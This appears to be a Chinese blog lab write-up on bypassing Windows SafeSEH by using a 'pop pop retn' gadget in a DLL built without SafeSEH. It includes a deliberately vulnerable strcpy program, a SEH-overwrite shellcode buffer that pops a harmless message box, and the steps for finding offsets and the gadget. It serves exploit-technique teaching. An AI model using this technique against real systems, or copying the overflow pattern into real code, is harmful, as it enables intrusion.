8.2 利用未启用SafeSEH模块绕过SafeSEH

目录

一、实验原理

二、实验环境

三、实验代码

四、实验步骤

1、生成SEH_NOSafeSEH_JUMP.DLL

2、寻找跳板

3、构造shellcode


一、实验原理

        模块未启用SafeSEH,并且该模块不是仅包含中间语言(IL),这个异常处理就可以执行、

二、实验环境

        操作系统:windows xp sp2

        软件版本:exe编译器:VS2008

                           dll编译器:VC++6.0(将dll基址设置为0x11120000)

                           原版OD

三、实验代码

        dll代码:

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
	pop eax
	pop eax
	retn
	}
}

        exe代码:

#include "stdafx.h"
#include <string.h>
#include <windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"


"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)
{
	printf("There is an exception");
	getchar();
	return 1;
}
void test(char * input)
{
	char str[200];
	strcpy(str,input);	
    int zero=0;
	__try
	{
	    zero=1/zero;
	}
	__except(MyException())
	{
	}
}
int _tmain(int argc, _TCHAR* argv[])
{
	HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
	char str[200];
	__asm int 3
	test(shellcode);
	return 0;
}

        实验思路和代码简要解释:

        (1)用VC++6.0编译一个不使用SafeSEH的动态链接库SEH_NOSafeSEH_JUMP.DLL,然后由启用SafeSEH的应用程序SEH_NOSafeSEH.EXE去加载它;

        (2)SEH_NOSafeSEH.EXE中的test函数存在一个典型的溢出,通过向str复制超长字符串造成str溢出,进而覆盖程序的S.E.H信息;

        (3)使用SEH_NOSafeSEH_JUMP.DLL中的“pop pop retn”指令地址覆盖异常处理函数地址,然后通过制造除零异常,将程序转入异常处理。通过劫持异常处理流程,程序转入SEH_NOSafe_JUMP.DLL中执行“pop pop retn”指令,在执行retn后程序转入shellcode执行。

四、实验步骤

1、生成SEH_NOSafeSEH_JUMP.DLL

        建立一个win32的动态链接库。

        由于VC++6.0编译的DLL默认加载基址未0x10000000,如果以它作为DLL的加载地址,DLL中的“pop pop retn”指令地址中可能包含0x00,这会在进行strcpy时将字符截断复制到shellcode中,从而影响shellcode的执行。

        解释:

         因为要将pop pop retn的起始地址写入shellcode中,以便之后跳转到shellcode,因此需要避免pop pop retn的地址出现00.

        怎么改加载基址?

        在顶部菜单中选择“工程-设置”,然后切换到“连接”选项卡,在“工程选项”的输入框中添加“、base:"0x1112000"<空格>”。

         

        将编译好的dll动态链接库,复制到SEH_NOSafeSEH.EXE目录下即可。

2、寻找跳板

        首先仍然将shellcode用\x90来填充,编译,查看SafeSEH的启用情况:

        可以看到除了我们制作的DLL没有启用SafeSEH,其他的都启用了。        

注:

        使用的是od的safeSEH插件,OllySSEH对safeSEH的描述有四种:

        (1)/SafeSEH OFF,未启用SafeSEH,这种模块可以作为跳板;

        (2)/SafeSEH ON,启用SafeSEH,可以使用右键点击查看S.E.H注册情况;

        (3)No SEH,不支持SafeSEH,即IMAGE_DLLCHARACTERISTICS_NO_SET标志位被设置,模块内的异常会被忽略,所以不能作为跳板;

        (4)Error,读取错误。

        在内存映射中,找到SEH_NOSafeSEH_JUMP.DLL的代码区,然后找到“pop pop retn”。

3、构造shellcode

        找到跳板后,开始计算被溢出字符串到最近的异常处理函数指针的距离,程序执行完strcpy,查看栈区情况:

         可以看到要布置的shellcode的起始地址未0x0012FDB8.

        查看第一个异常处理函数指针位置:

        可见,第一个异常处理函数指针位于0x0012FFB0+4处。

        另外,这次使用的是“pop pop retn”指令序列,所以我们需要将弹出的“failwest“对话框的机器码放到shellcode的后半部分。

        在布置shellcode之前,需要注意到一个小细节:经过VS2008编译的程序,会在进入__try{}的函数时在security cookie+4的位置压入-2(VC++6.0下为-1),在程序进入__try{}区域时会根据改__try{}块在函数中的位置而形成不同的值。例如,函数中有两个__try{}块,在进入第一个__try{}块时,这个值会被修改为0,进入第二个的时候被修改为1。如果在__try{}块中出现了异常,程序会根据这个值调用相应的__except()处理,处理结束后这个位置的值会重新修改为-2;如果没有发生异常,程序在离开__try{}块时这个值也会被修改回-2。

        为避免shellcode关键部分被破坏,采用以下布局:shellcode最开始部分为220个字节的0x90填充;在221~224位置用SEH_NOSafeSEH_JUMP.DLL中的跳板地址0x11121012覆盖,然后跟着8字节的0x90填充;最后附上弹出"failwest"对话框的机器码。

         布置完shellcode之后,编译,在0x0012FE90处下一个断点,不出意外,程序会直接执行到这里。

         从图中可以看到,在构造的shellcode中出现了不和谐的东西,分别是dll中的跳板地址和进入try时被破坏的部分,因为这两个不和谐的东西并不影响程序的执行,因此这一节不对齐进行处理。

        直接继续允许,实验结果:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值